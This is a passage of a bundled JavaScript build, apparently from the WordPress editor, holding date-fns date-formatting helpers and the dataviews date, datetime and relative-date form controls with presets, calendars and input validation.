30202 * and `options.firstWeekContainsDate` (compare [getISOWeekYear](https://date-fns.org/docs/getISOWeekYear)
30203 * and [getWeekYear](https://date-fns.org/docs/getWeekYear)).
30204 *
30205 * 6. Specific non-location timezones are currently unavailable in `date-fns`,
30206 * so right now these tokens fall back to GMT timezones.
30207 *
30208 * 7. These patterns are not in the Unicode Technical Standard #35:
30209 * - `i`: ISO day of week
30210 * - `I`: ISO week of year
30211 * - `R`: ISO week-numbering year
30212 * - `t`: seconds timestamp
30213 * - `T`: milliseconds timestamp
30214 * - `o`: ordinal number modifier
30215 * - `P`: long localized date
30216 * - `p`: long localized time
30217 *
30218 * 8. `YY` and `YYYY` tokens represent week-numbering years but they are often confused with years.
30219 * You should enable `options.useAdditionalWeekYearTokens` to use them. See: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md
30220 *
30221 * 9. `D` and `DD` tokens represent days of the year but they are often confused with days of the month.
30222 * You should enable `options.useAdditionalDayOfYearTokens` to use them. See: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md
30223 *
30224 * @param date - The original date
30225 * @param format - The string of tokens
30226 * @param options - An object with options
30227 *
30228 * @returns The formatted date string
30229 *
30230 * @throws `date` must not be Invalid Date
30231 * @throws `options.locale` must contain `localize` property
30232 * @throws `options.locale` must contain `formatLong` property
30233 * @throws use `yyyy` instead of `YYYY` for formatting years using [format provided] to the input [input provided]; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md
30234 * @throws use `yy` instead of `YY` for formatting years using [format provided] to the input [input provided]; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md
30235 * @throws use `d` instead of `D` for formatting days of the month using [format provided] to the input [input provided]; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md
30236 * @throws use `dd` instead of `DD` for formatting days of the month using [format provided] to the input [input provided]; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md
30237 * @throws format string contains an unescaped latin alphabet character
30238 *
30239 * @example
30240 * // Represent 11 February 2014 in middle-endian format:
30241 * const result = format(new Date(2014, 1, 11), 'MM/dd/yyyy')
30242 * //=> '02/11/2014'
30243 *
30244 * @example
30245 * // Represent 2 July 2014 in Esperanto:
30246 * import { eoLocale } from 'date-fns/locale/eo'
30247 * const result = format(new Date(2014, 6, 2), "do 'de' MMMM yyyy", {
30248 * locale: eoLocale
30249 * })
30250 * //=> '2-a de julio 2014'
30251 *
30252 * @example
30253 * // Escape string by single quote characters:
30254 * const result = format(new Date(2014, 6, 2, 15), "h 'o''clock'")
30255 * //=> "3 o'clock"
30256 */
30257function format(date, formatStr, options) {
30258 const defaultOptions = getDefaultOptions();
30259 const locale = options?.locale ?? defaultOptions.locale ?? enUS;
30260
30261 const firstWeekContainsDate =
30262 options?.firstWeekContainsDate ??
30263 options?.locale?.options?.firstWeekContainsDate ??
30264 defaultOptions.firstWeekContainsDate ??
30265 defaultOptions.locale?.options?.firstWeekContainsDate ??
30266 1;
30267
30268 const weekStartsOn =
30269 options?.weekStartsOn ??
30270 options?.locale?.options?.weekStartsOn ??
30271 defaultOptions.weekStartsOn ??
30272 defaultOptions.locale?.options?.weekStartsOn ??
30273 0;
30274
30275 const originalDate = toDate(date, options?.in);
30276
30277 if (!isValid(originalDate)) {
30278 throw new RangeError("Invalid time value");
30279 }
30280
30281 let parts = formatStr
30282 .match(longFormattingTokensRegExp)
30283 .map((substring) => {
30284 const firstCharacter = substring[0];
30285 if (firstCharacter === "p" || firstCharacter === "P") {
30286 const longFormatter = longFormatters[firstCharacter];
30287 return longFormatter(substring, locale.formatLong);
30288 }
30289 return substring;
30290 })
30291 .join("")
30292 .match(formattingTokensRegExp)
30293 .map((substring) => {
30294 // Replace two single quote characters with one single quote character
30295 if (substring === "''") {
30296 return { isToken: false, value: "'" };
30297 }
30298
30299 const firstCharacter = substring[0];
30300 if (firstCharacter === "'") {
30301 return { isToken: false, value: cleanEscapedString(substring) };
30302 }
30303
30304 if (formatters[firstCharacter]) {
30305 return { isToken: true, value: substring };
30306 }
30307
30308 if (firstCharacter.match(unescapedLatinCharacterRegExp)) {
30309 throw new RangeError(
30310 "Format string contains an unescaped latin alphabet character `" +
30311 firstCharacter +
30312 "`",
30313 );
30314 }
30315
30316 return { isToken: false, value: substring };
30317 });
30318
30319 // invoke localize preprocessor (only for french locales at the moment)
30320 if (locale.localize.preprocessor) {
30321 parts = locale.localize.preprocessor(originalDate, parts);
30322 }
30323
30324 const formatterOptions = {
30325 firstWeekContainsDate,
30326 weekStartsOn,
30327 locale,
30328 };
30329
30330 return parts
30331 .map((part) => {
30332 if (!part.isToken) return part.value;
30333
30334 const token = part.value;
30335
30336 if (
30337 (!options?.useAdditionalWeekYearTokens &&
30338 isProtectedWeekYearToken(token)) ||
30339 (!options?.useAdditionalDayOfYearTokens &&
30340 isProtectedDayOfYearToken(token))
30341 ) {
30342 warnOrThrowProtectedError(token, formatStr, String(date));
30343 }
30344
30345 const formatter = formatters[token[0]];
30346 return formatter(originalDate, token, locale.localize, formatterOptions);
30347 })
30348 .join("");
30349}
30350
30351function cleanEscapedString(input) {
30352 const matched = input.match(escapedStringRegExp);
30353
30354 if (!matched) {
30355 return input;
30356 }
30357
30358 return matched[1].replace(doubleQuoteRegExp, "'");
30359}
30360
30361// Fallback for modularized imports:
30362/* harmony default export */ const date_fns_format = ((/* unused pure expression or super */ null && (format)));
30363
30364;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/utils/relative-date-control.js
30365
30366
30367
30368
30369
30370
30371const TIME_UNITS_OPTIONS = {
30372 [OPERATOR_IN_THE_PAST]: [
30373 { value: "days", label: (0,external_wp_i18n_namespaceObject.__)("Days") },
30374 { value: "weeks", label: (0,external_wp_i18n_namespaceObject.__)("Weeks") },
30375 { value: "months", label: (0,external_wp_i18n_namespaceObject.__)("Months") },
30376 { value: "years", label: (0,external_wp_i18n_namespaceObject.__)("Years") }
30377 ],
30378 [OPERATOR_OVER]: [
30379 { value: "days", label: (0,external_wp_i18n_namespaceObject.__)("Days ago") },
30380 { value: "weeks", label: (0,external_wp_i18n_namespaceObject.__)("Weeks ago") },
30381 { value: "months", label: (0,external_wp_i18n_namespaceObject.__)("Months ago") },
30382 { value: "years", label: (0,external_wp_i18n_namespaceObject.__)("Years ago") }
30383 ]
30384};
30385function RelativeDateControl({
30386 className,
30387 data,
30388 field,
30389 onChange,
30390 hideLabelFromVision,
30391 operator
30392}) {
30393 const options = TIME_UNITS_OPTIONS[operator === OPERATOR_IN_THE_PAST ? "inThePast" : "over"];
30394 const { id, label, getValue, setValue } = field;
30395 const fieldValue = getValue({ item: data });
30396 const { value: relValue = "", unit = options[0].value } = fieldValue && typeof fieldValue === "object" ? fieldValue : {};
30397 const onChangeValue = (0,external_wp_element_.useCallback)(
30398 (newValue) => onChange(
30399 setValue({
30400 item: data,
30401 value: { value: Number(newValue), unit }
30402 })
30403 ),
30404 [onChange, setValue, data, unit]
30405 );
30406 const onChangeUnit = (0,external_wp_element_.useCallback)(
30407 (newUnit) => onChange(
30408 setValue({
30409 item: data,
30410 value: { value: relValue, unit: newUnit }
30411 })
30412 ),
30413 [onChange, setValue, data, relValue]
30414 );
30415 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30416 external_wp_components_namespaceObject.BaseControl,
30417 {
30418 id,
30419 __nextHasNoMarginBottom: true,
30420 className: dist_clsx(className, "dataviews-controls__relative-date"),
30421 label,
30422 hideLabelFromVision,
30423 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { spacing: 2.5, children: [
30424 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30425 external_wp_components_namespaceObject.__experimentalNumberControl,
30426 {
30427 __next40pxDefaultSize: true,
30428 className: "dataviews-controls__relative-date-number",
30429 spinControls: "none",
30430 min: 1,
30431 step: 1,
30432 value: relValue,
30433 onChange: onChangeValue
30434 }
30435 ),
30436 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30437 external_wp_components_namespaceObject.SelectControl,
30438 {
30439 className: "dataviews-controls__relative-date-unit",
30440 __next40pxDefaultSize: true,
30441 __nextHasNoMarginBottom: true,
30442 label: (0,external_wp_i18n_namespaceObject.__)("Unit"),
30443 value: unit,
30444 options,
30445 onChange: onChangeUnit,
30446 hideLabelFromVision: true
30447 }
30448 )
30449 ] })
30450 }
30451 );
30452}
30453
30454
30455;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/datetime.js
30456
30457
30458
30459
30460
30461
30462
30463
30464
30465
30466const { DateCalendar, ValidatedInputControl } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
30467const parseDateTime = (dateTimeString) => {
30468 if (!dateTimeString) {
30469 return null;
30470 }
30471 const parsed = (0,external_wp_date_namespaceObject.getDate)(dateTimeString);
30472 return parsed && isValid(parsed) ? parsed : null;
30473};
30474const formatDateTime = (date) => {
30475 if (!date) {
30476 return "";
30477 }
30478 if (typeof date === "string") {
30479 return date;
30480 }
30481 return format(date, "yyyy-MM-dd'T'HH:mm");
30482};
30483function CalendarDateTimeControl({
30484 data,
30485 field,
30486 onChange,
30487 hideLabelFromVision,
30488 validity
30489}) {
30490 const { id, label, description, setValue, getValue, isValid } = field;
30491 const fieldValue = getValue({ item: data });
30492 const value = typeof fieldValue === "string" ? fieldValue : void 0;
30493 const [calendarMonth, setCalendarMonth] = (0,external_wp_element_.useState)(() => {
30494 const parsedDate = parseDateTime(value);
30495 return parsedDate || /* @__PURE__ */ new Date();
30496 });
30497 const inputControlRef = (0,external_wp_element_.useRef)(null);
30498 const validationTimeoutRef = (0,external_wp_element_.useRef)();
30499 const previousFocusRef = (0,external_wp_element_.useRef)(null);
30500 const onChangeCallback = (0,external_wp_element_.useCallback)(
30501 (newValue) => onChange(setValue({ item: data, value: newValue })),
30502 [data, onChange, setValue]
30503 );
30504 (0,external_wp_element_.useEffect)(() => {
30505 return () => {
30506 if (validationTimeoutRef.current) {
30507 clearTimeout(validationTimeoutRef.current);
30508 }
30509 };
30510 }, []);
30511 const onSelectDate = (0,external_wp_element_.useCallback)(
30512 (newDate) => {
30513 let dateTimeValue;
30514 if (newDate) {
30515 let finalDateTime = newDate;
30516 if (value) {
30517 const currentDateTime = parseDateTime(value);
30518 if (currentDateTime) {
30519 finalDateTime = new Date(newDate);
30520 finalDateTime.setHours(currentDateTime.getHours());
30521 finalDateTime.setMinutes(
30522 currentDateTime.getMinutes()
30523 );
30524 }
30525 }
30526 dateTimeValue = finalDateTime.toISOString();
30527 onChangeCallback(dateTimeValue);
30528 if (validationTimeoutRef.current) {
30529 clearTimeout(validationTimeoutRef.current);
30530 }
30531 } else {
30532 onChangeCallback(void 0);
30533 }
30534 previousFocusRef.current = inputControlRef.current && inputControlRef.current.ownerDocument.activeElement;
30535 validationTimeoutRef.current = setTimeout(() => {
30536 if (inputControlRef.current) {
30537 inputControlRef.current.focus();
30538 inputControlRef.current.blur();
30539 onChangeCallback(dateTimeValue);
30540 if (previousFocusRef.current && previousFocusRef.current instanceof HTMLElement) {
30541 previousFocusRef.current.focus();
30542 }
30543 }
30544 }, 0);
30545 },
30546 [onChangeCallback, value]
30547 );
30548 const handleManualDateTimeChange = (0,external_wp_element_.useCallback)(
30549 (newValue) => {
30550 if (newValue) {
30551 const dateTime = new Date(newValue);
30552 onChangeCallback(dateTime.toISOString());
30553 const parsedDate = parseDateTime(dateTime.toISOString());
30554 if (parsedDate) {
30555 setCalendarMonth(parsedDate);
30556 }
30557 } else {
30558 onChangeCallback(void 0);
30559 }
30560 },
30561 [onChangeCallback]
30562 );
30563 const {
30564 timezone: { string: timezoneString },
30565 l10n: { startOfWeek }
30566 } = (0,external_wp_date_namespaceObject.getSettings)();
30567 const displayLabel = isValid?.required && !hideLabelFromVision ? `${label} (${(0,external_wp_i18n_namespaceObject.__)("Required")})` : label;
30568 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30569 external_wp_components_namespaceObject.BaseControl,
30570 {
30571 __nextHasNoMarginBottom: true,
30572 id,
30573 label: displayLabel,
30574 help: description,
30575 hideLabelFromVision,
30576 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
30577 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30578 DateCalendar,
30579 {
30580 style: { width: "100%" },
30581 selected: value ? parseDateTime(value) || void 0 : void 0,
30582 onSelect: onSelectDate,
30583 month: calendarMonth,
30584 onMonthChange: setCalendarMonth,
30585 timeZone: timezoneString || void 0,
30586 weekStartsOn: startOfWeek
30587 }
30588 ),
30589 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30590 ValidatedInputControl,
30591 {
30592 ref: inputControlRef,
30593 __next40pxDefaultSize: true,
30594 required: !!isValid?.required,
30595 customValidity: getCustomValidity(isValid, validity),
30596 type: "datetime-local",
30597 label: (0,external_wp_i18n_namespaceObject.__)("Date time"),
30598 hideLabelFromVision: true,
30599 value: value ? formatDateTime(
30600 parseDateTime(value) || void 0
30601 ) : "",
30602 onChange: handleManualDateTimeChange
30603 }
30604 )
30605 ] })
30606 }
30607 );
30608}
30609function DateTime({
30610 data,
30611 field,
30612 onChange,
30613 hideLabelFromVision,
30614 operator,
30615 validity
30616}) {
30617 if (operator === OPERATOR_IN_THE_PAST || operator === OPERATOR_OVER) {
30618 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30619 RelativeDateControl,
30620 {
30621 className: "dataviews-controls__datetime",
30622 data,
30623 field,
30624 onChange,
30625 hideLabelFromVision,
30626 operator
30627 }
30628 );
30629 }
30630 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30631 CalendarDateTimeControl,
30632 {
30633 data,
30634 field,
30635 onChange,
30636 hideLabelFromVision,
30637 validity
30638 }
30639 );
30640}
30641
30642
30643;// ./node_modules/@wordpress/dataviews/node_modules/date-fns/startOfMonth.js
30644
30645
30646/**
30647 * The {@link startOfMonth} function options.
30648 */
30649
30650/**
30651 * @name startOfMonth
30652 * @category Month Helpers
30653 * @summary Return the start of a month for the given date.
30654 *
30655 * @description
30656 * Return the start of a month for the given date. The result will be in the local timezone.
30657 *
30658 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments.
30659 * Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
30660 * @typeParam ResultDate - The result `Date` type, it is the type returned from the context function if it is passed,
30661 * or inferred from the arguments.
30662 *
30663 * @param date - The original date
30664 * @param options - An object with options
30665 *
30666 * @returns The start of a month
30667 *
30668 * @example
30669 * // The start of a month for 2 September 2014 11:55:00:
30670 * const result = startOfMonth(new Date(2014, 8, 2, 11, 55, 0))
30671 * //=> Mon Sep 01 2014 00:00:00
30672 */
30673function startOfMonth(date, options) {
30674 const _date = toDate(date, options?.in);
30675 _date.setDate(1);
30676 _date.setHours(0, 0, 0, 0);
30677 return _date;
30678}
30679
30680// Fallback for modularized imports:
30681/* harmony default export */ const date_fns_startOfMonth = ((/* unused pure expression or super */ null && (startOfMonth)));
30682
30683;// ./node_modules/@wordpress/icons/build-module/library/error.js
30684
30685
30686var error_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30687 external_wp_primitives_namespaceObject.Path,
30688 {
30689 fillRule: "evenodd",
30690 clipRule: "evenodd",
30691 d: "M12.218 5.377a.25.25 0 0 0-.436 0l-7.29 12.96a.25.25 0 0 0 .218.373h14.58a.25.25 0 0 0 .218-.372l-7.29-12.96Zm-1.743-.735c.669-1.19 2.381-1.19 3.05 0l7.29 12.96a1.75 1.75 0 0 1-1.525 2.608H4.71a1.75 1.75 0 0 1-1.525-2.608l7.29-12.96ZM12.75 17.46h-1.5v-1.5h1.5v1.5Zm-1.5-3h1.5v-5h-1.5v5Z"
30692 }
30693) });
30694
30695
30696;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/date.js
30697
30698
30699
30700
30701
30702
30703
30704
30705
30706
30707
30708
30709const { DateCalendar: date_DateCalendar, DateRangeCalendar } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
30710const DATE_PRESETS = [
30711 {
30712 id: "today",
30713 label: (0,external_wp_i18n_namespaceObject.__)("Today"),
30714 getValue: () => (0,external_wp_date_namespaceObject.getDate)(null)
30715 },
30716 {
30717 id: "yesterday",
30718 label: (0,external_wp_i18n_namespaceObject.__)("Yesterday"),
30719 getValue: () => {
30720 const today = (0,external_wp_date_namespaceObject.getDate)(null);
30721 return subDays(today, 1);
30722 }
30723 },
30724 {
30725 id: "past-week",
30726 label: (0,external_wp_i18n_namespaceObject.__)("Past week"),
30727 getValue: () => {
30728 const today = (0,external_wp_date_namespaceObject.getDate)(null);
30729 return subDays(today, 7);
30730 }
30731 },
30732 {
30733 id: "past-month",
30734 label: (0,external_wp_i18n_namespaceObject.__)("Past month"),
30735 getValue: () => {
30736 const today = (0,external_wp_date_namespaceObject.getDate)(null);
30737 return subMonths(today, 1);
30738 }
30739 }
30740];
30741const DATE_RANGE_PRESETS = [
30742 {
30743 id: "last-7-days",
30744 label: (0,external_wp_i18n_namespaceObject.__)("Last 7 days"),
30745 getValue: () => {
30746 const today = (0,external_wp_date_namespaceObject.getDate)(null);
30747 return [subDays(today, 7), today];
30748 }
30749 },
30750 {
30751 id: "last-30-days",
30752 label: (0,external_wp_i18n_namespaceObject.__)("Last 30 days"),
30753 getValue: () => {
30754 const today = (0,external_wp_date_namespaceObject.getDate)(null);
30755 return [subDays(today, 30), today];
30756 }
30757 },
30758 {
30759 id: "month-to-date",
30760 label: (0,external_wp_i18n_namespaceObject.__)("Month to date"),
30761 getValue: () => {
30762 const today = (0,external_wp_date_namespaceObject.getDate)(null);
30763 return [startOfMonth(today), today];
30764 }
30765 },
30766 {
30767 id: "last-year",
30768 label: (0,external_wp_i18n_namespaceObject.__)("Last year"),
30769 getValue: () => {
30770 const today = (0,external_wp_date_namespaceObject.getDate)(null);
30771 return [subYears(today, 1), today];
30772 }
30773 },
30774 {
30775 id: "year-to-date",
30776 label: (0,external_wp_i18n_namespaceObject.__)("Year to date"),
30777 getValue: () => {
30778 const today = (0,external_wp_date_namespaceObject.getDate)(null);
30779 return [startOfYear(today), today];
30780 }
30781 }
30782];
30783const parseDate = (dateString) => {
30784 if (!dateString) {
30785 return null;
30786 }
30787 const parsed = (0,external_wp_date_namespaceObject.getDate)(dateString);
30788 return parsed && isValid(parsed) ? parsed : null;
30789};
30790const formatDate = (date) => {
30791 if (!date) {
30792 return "";
30793 }
30794 return typeof date === "string" ? date : format(date, "yyyy-MM-dd");
30795};
30796function ValidatedDateControl({
30797 field,
30798 validity,
30799 inputRefs,
30800 isTouched,
30801 setIsTouched,
30802 children
30803}) {
30804 const { isValid } = field;
30805 const [customValidity, setCustomValidity] = (0,external_wp_element_.useState)(void 0);
30806 const validateRefs = (0,external_wp_element_.useCallback)(() => {
30807 const refs = Array.isArray(inputRefs) ? inputRefs : [inputRefs];
30808 for (const ref of refs) {
30809 const input = ref.current;
30810 if (input && !input.validity.valid) {
30811 setCustomValidity({
30812 type: "invalid",
30813 message: input.validationMessage
30814 });
30815 return;
30816 }
30817 }
30818 setCustomValidity(void 0);
30819 }, [inputRefs]);
30820 (0,external_wp_element_.useEffect)(() => {
30821 if (isTouched) {
30822 const timeoutId = setTimeout(() => {
30823 if (validity) {
30824 setCustomValidity(getCustomValidity(isValid, validity));
30825 } else {
30826 validateRefs();
30827 }
30828 }, 0);
30829 return () => clearTimeout(timeoutId);
30830 }
30831 return void 0;
30832 }, [isTouched, isValid, validity, validateRefs]);
30833 const onBlur = (event) => {
30834 if (isTouched) {
30835 return;
30836 }
30837 if (!event.relatedTarget || !event.currentTarget.contains(event.relatedTarget)) {
30838 setIsTouched(true);
30839 }
30840 };
30841 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { onBlur, children: [
30842 children,
30843 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { "aria-live": "polite", children: customValidity && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
30844 "p",
30845 {
30846 className: dist_clsx(
30847 "components-validated-control__indicator",
30848 customValidity.type === "invalid" ? "is-invalid" : void 0,
30849 customValidity.type === "valid" ? "is-valid" : void 0
30850 ),
30851 children: [
30852 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30853 external_wp_components_namespaceObject.Icon,
30854 {
30855 className: "components-validated-control__indicator-icon",
30856 icon: error_default,
30857 size: 16,
30858 fill: "currentColor"
30859 }
30860 ),
30861 customValidity.message
30862 ]
30863 }
30864 ) })
30865 ] });
30866}
30867function CalendarDateControl({
30868 data,
30869 field,
30870 onChange,
30871 hideLabelFromVision,
30872 validity
30873}) {
30874 const { id, label, setValue, getValue, isValid } = field;
30875 const [selectedPresetId, setSelectedPresetId] = (0,external_wp_element_.useState)(
30876 null
30877 );
30878 const fieldValue = getValue({ item: data });
30879 const value = typeof fieldValue === "string" ? fieldValue : void 0;
30880 const [calendarMonth, setCalendarMonth] = (0,external_wp_element_.useState)(() => {
30881 const parsedDate = parseDate(value);
30882 return parsedDate || /* @__PURE__ */ new Date();
30883 });
30884 const [isTouched, setIsTouched] = (0,external_wp_element_.useState)(false);
30885 const validityTargetRef = (0,external_wp_element_.useRef)(null);
30886 const onChangeCallback = (0,external_wp_element_.useCallback)(
30887 (newValue) => onChange(setValue({ item: data, value: newValue })),
30888 [data, onChange, setValue]
30889 );
30890 const onSelectDate = (0,external_wp_element_.useCallback)(
30891 (newDate) => {
30892 const dateValue = newDate ? format(newDate, "yyyy-MM-dd") : void 0;
30893 onChangeCallback(dateValue);
30894 setSelectedPresetId(null);
30895 setIsTouched(true);
30896 },
30897 [onChangeCallback]
30898 );
30899 const handlePresetClick = (0,external_wp_element_.useCallback)(
30900 (preset) => {
30901 const presetDate = preset.getValue();
30902 const dateValue = formatDate(presetDate);
30903 setCalendarMonth(presetDate);
30904 onChangeCallback(dateValue);
30905 setSelectedPresetId(preset.id);
30906 setIsTouched(true);
30907 },
30908 [onChangeCallback]
30909 );
30910 const handleManualDateChange = (0,external_wp_element_.useCallback)(
30911 (newValue) => {
30912 onChangeCallback(newValue);
30913 if (newValue) {
30914 const parsedDate = parseDate(newValue);
30915 if (parsedDate) {
30916 setCalendarMonth(parsedDate);
30917 }
30918 }
30919 setSelectedPresetId(null);
30920 setIsTouched(true);
30921 },
30922 [onChangeCallback]
30923 );
30924 const {
30925 timezone: { string: timezoneString },
30926 l10n: { startOfWeek }
30927 } = (0,external_wp_date_namespaceObject.getSettings)();
30928 const displayLabel = isValid?.required ? `${label} (${(0,external_wp_i18n_namespaceObject.__)("Required")})` : label;
30929 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30930 ValidatedDateControl,
30931 {
30932 field,
30933 validity,
30934 inputRefs: validityTargetRef,
30935 isTouched,
30936 setIsTouched,
30937 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30938 external_wp_components_namespaceObject.BaseControl,
30939 {
30940 __nextHasNoMarginBottom: true,
30941 id,
30942 className: "dataviews-controls__date",
30943 label: displayLabel,
30944 hideLabelFromVision,
30945 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
30946 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { spacing: 2, wrap: true, justify: "flex-start", children: [
30947 DATE_PRESETS.map((preset) => {
30948 const isSelected = selectedPresetId === preset.id;
30949 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30950 external_wp_components_namespaceObject.Button,
30951 {
30952 className: "dataviews-controls__date-preset",
30953 variant: "tertiary",
30954 isPressed: isSelected,
30955 size: "small",
30956 onClick: () => handlePresetClick(preset),
30957 children: preset.label
30958 },
30959 preset.id
30960 );
30961 }),
30962 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30963 external_wp_components_namespaceObject.Button,
30964 {
30965 className: "dataviews-controls__date-preset",
30966 variant: "tertiary",
30967 isPressed: !selectedPresetId,
30968 size: "small",
30969 disabled: !!selectedPresetId,
30970 accessibleWhenDisabled: false,
30971 children: (0,external_wp_i18n_namespaceObject.__)("Custom")
30972 }
30973 )
30974 ] }),
30975 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30976 external_wp_components_namespaceObject.__experimentalInputControl,
30977 {
30978 __next40pxDefaultSize: true,
30979 ref: validityTargetRef,
30980 type: "date",
30981 label: (0,external_wp_i18n_namespaceObject.__)("Date"),
30982 hideLabelFromVision: true,
30983 value,
30984 onChange: handleManualDateChange,
30985 required: !!field.isValid?.required
30986 }
30987 ),
30988 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30989 date_DateCalendar,
30990 {
30991 style: { width: "100%" },
30992 selected: value ? parseDate(value) || void 0 : void 0,
30993 onSelect: onSelectDate,
30994 month: calendarMonth,
30995 onMonthChange: setCalendarMonth,
30996 timeZone: timezoneString || void 0,
30997 weekStartsOn: startOfWeek
30998 }
30999 )
31000 ] })
31001 }
31002 )
31003 }
31004 );
31005}
31006function CalendarDateRangeControl({
31007 data,
31008 field,
31009 onChange,
31010 hideLabelFromVision,
31011 validity
31012}) {
31013 const { id, label, getValue, setValue } = field;
31014 let value;
31015 const fieldValue = getValue({ item: data });
31016 if (Array.isArray(fieldValue) && fieldValue.length === 2 && fieldValue.every((date) => typeof date === "string")) {
31017 value = fieldValue;
31018 }
31019 const onChangeCallback = (0,external_wp_element_.useCallback)(
31020 (newValue) => {
31021 onChange(
31022 setValue({
31023 item: data,
31024 value: newValue
31025 })
31026 );
31027 },
31028 [data, onChange, setValue]
31029 );
31030 const [selectedPresetId, setSelectedPresetId] = (0,external_wp_element_.useState)(
31031 null
31032 );
31033 const selectedRange = (0,external_wp_element_.useMemo)(() => {
31034 if (!value) {
31035 return { from: void 0, to: void 0 };
31036 }
31037 const [from, to] = value;
31038 return {
31039 from: parseDate(from) || void 0,
31040 to: parseDate(to) || void 0
31041 };
31042 }, [value]);
31043 const [calendarMonth, setCalendarMonth] = (0,external_wp_element_.useState)(() => {
31044 return selectedRange.from || /* @__PURE__ */ new Date();
31045 });
31046 const [isTouched, setIsTouched] = (0,external_wp_element_.useState)(false);
31047 const fromInputRef = (0,external_wp_element_.useRef)(null);
31048 const toInputRef = (0,external_wp_element_.useRef)(null);
31049 const updateDateRange = (0,external_wp_element_.useCallback)(
31050 (fromDate, toDate) => {
31051 if (fromDate && toDate) {
31052 onChangeCallback([
31053 formatDate(fromDate),
31054 formatDate(toDate)
31055 ]);
31056 } else if (!fromDate && !toDate) {
31057 onChangeCallback(void 0);
31058 }
31059 },
31060 [onChangeCallback]
31061 );
31062 const onSelectCalendarRange = (0,external_wp_element_.useCallback)(
31063 (newRange) => {
31064 updateDateRange(newRange?.from, newRange?.to);
31065 setSelectedPresetId(null);
31066 setIsTouched(true);
31067 },
31068 [updateDateRange]
31069 );
31070 const handlePresetClick = (0,external_wp_element_.useCallback)(
31071 (preset) => {
31072 const [startDate, endDate] = preset.getValue();
31073 setCalendarMonth(startDate);
31074 updateDateRange(startDate, endDate);
31075 setSelectedPresetId(preset.id);
31076 setIsTouched(true);
31077 },
31078 [updateDateRange]
31079 );
31080 const handleManualDateChange = (0,external_wp_element_.useCallback)(
31081 (fromOrTo, newValue) => {
31082 const [currentFrom, currentTo] = value || [
31083 void 0,
31084 void 0
31085 ];
31086 const updatedFrom = fromOrTo === "from" ? newValue : currentFrom;
31087 const updatedTo = fromOrTo === "to" ? newValue : currentTo;
31088 updateDateRange(updatedFrom, updatedTo);
31089 if (newValue) {
31090 const parsedDate = parseDate(newValue);
31091 if (parsedDate) {
31092 setCalendarMonth(parsedDate);
31093 }
31094 }
31095 setSelectedPresetId(null);
31096 setIsTouched(true);
31097 },
31098 [value, updateDateRange]
31099 );
31100 const { timezone, l10n } = (0,external_wp_date_namespaceObject.getSettings)();
31101 const displayLabel = field.isValid?.required ? `${label} (${(0,external_wp_i18n_namespaceObject.__)("Required")})` : label;
31102 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31103 ValidatedDateControl,
31104 {
31105 field,
31106 validity,
31107 inputRefs: [fromInputRef, toInputRef],
31108 isTouched,
31109 setIsTouched,
31110 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31111 external_wp_components_namespaceObject.BaseControl,
31112 {
31113 __nextHasNoMarginBottom: true,
31114 id,
31115 className: "dataviews-controls__date",
31116 label: displayLabel,
31117 hideLabelFromVision,
31118 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
31119 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { spacing: 2, wrap: true, justify: "flex-start", children: [
31120 DATE_RANGE_PRESETS.map((preset) => {
31121 const isSelected = selectedPresetId === preset.id;
